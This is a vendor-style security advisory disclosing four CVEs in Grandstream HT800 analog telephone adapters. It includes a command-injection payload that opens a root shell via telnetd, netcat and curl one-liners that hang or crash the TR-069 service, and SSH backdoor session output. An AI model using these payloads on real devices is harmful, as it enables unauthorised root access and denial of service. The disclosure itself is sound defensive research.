Grandstream ATA HT800 Series Multiple Vulnerabilities

While investigating a Grandstream ATA HT814, Tenable discovered multiple vulnerabilities.

CVE-2020-5760: Provisioning Command Injection

Tenable found the HT800 series is vulnerable to command injection via the configuration file when P240 is set to 1 and P2 (password) contains shell metacharacters. For example:

P2=`telnetd%24{IFS}-l/bin/sh`

Furthermore, Tenable found that an unauthenticated remote attacker could trigger this injection via a x-gs-ucm-url SIP message. We created a proof of concept called sip_provision_exploit.py that starts a root bindshell on port 23. You can find it on our GitHub.

CVE-2020-5761: TR-069 Infinite Loop (CPU Exhaustion)

The device's TR-069 service falls into an infinite loop if an unauthenticated remote attackers sends a TCP message that doesn't contain a carriage return character ('\r'). The TR-069 service will then consume almost all of the system's CPU until the system is rebooted.

This is trivially reproduced using sending a single character with netcat and terminating the connection:

albinolobster@ubuntu:~$ echo -ne '\n' | nc 192.168.1.200 7547
^C
albinolobster@ubuntu:~$

CVE-2020-5762: TR-069 NULL Pointer Dereference (DoS)

The device's TR-069 service will crash due to a NULL pointer dereference when an unauthenticated remote HTTP GET request contains an Authentication field that isn't a well formed digest-challenge. The TR-069 service doesn't get restarted after the crash.

This is easily reproduced by using basic authentication with curl:

albinolobster@ubuntu:~$ curl -vv --user admin:admin http://192.168.1.200:7547/cpe

Trying 192.168.1.200:7547...
TCP_NODELAY set
Connected to 192.168.1.200 (192.168.1.200) port 7547 (#0)
Server auth using Basic with user 'admin'
> GET /cpe HTTP/1.1
> Host: 192.168.1.200:7547
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.65.3
> Accept: /
>
Empty reply from server
Connection #0 to host 192.168.1.200 left intact
curl: (52) Empty reply from server
albinolobster@ubuntu:~$ curl -vv --user admin:admin http://192.168.1.200:7547/cpe
Trying 192.168.1.200:7547...
TCP_NODELAY set
connect to 192.168.1.200 port 7547 failed: Connection refused
Failed to connect to 192.168.1.200 port 7547: Connection refused
Closing connection 0
curl: (7) Failed to connect to 192.168.1.200 port 7547: Connection refused
albinolobster@ubuntu:~$

CVE-2020-5763: SSH Backdoor

The device's SSH interface contains a backdoor to a root shell. As far as we know, Lorenzo Santina (BigNerd95) was the first to discover and publish this issue. The following output is from Mr. Santina's GitHub repository:

$ ssh [email protected]
Grandstream HT802 Command Shell Copyright 2006-2018
[email protected]'s password: 
GS> gssu
Challenge: b319d6c803a2f142
Response: 
# uname -a
Linux HT8XX 3.4.20-rt31-dvf-v1.2.6.1-rc2 #27 PREEMPT Mon Aug 20 15:19:59 CST 2018 armv5tejl GNU/Linux

Note: Tenable chose CWE-912 over the NVD-assigned CWE-326 for CVE-2020-5763 due to the following:

• CWE-326 is for the storage or transmission of sensitive data using inadequate encryption strength. That does not apply to this vulnerability.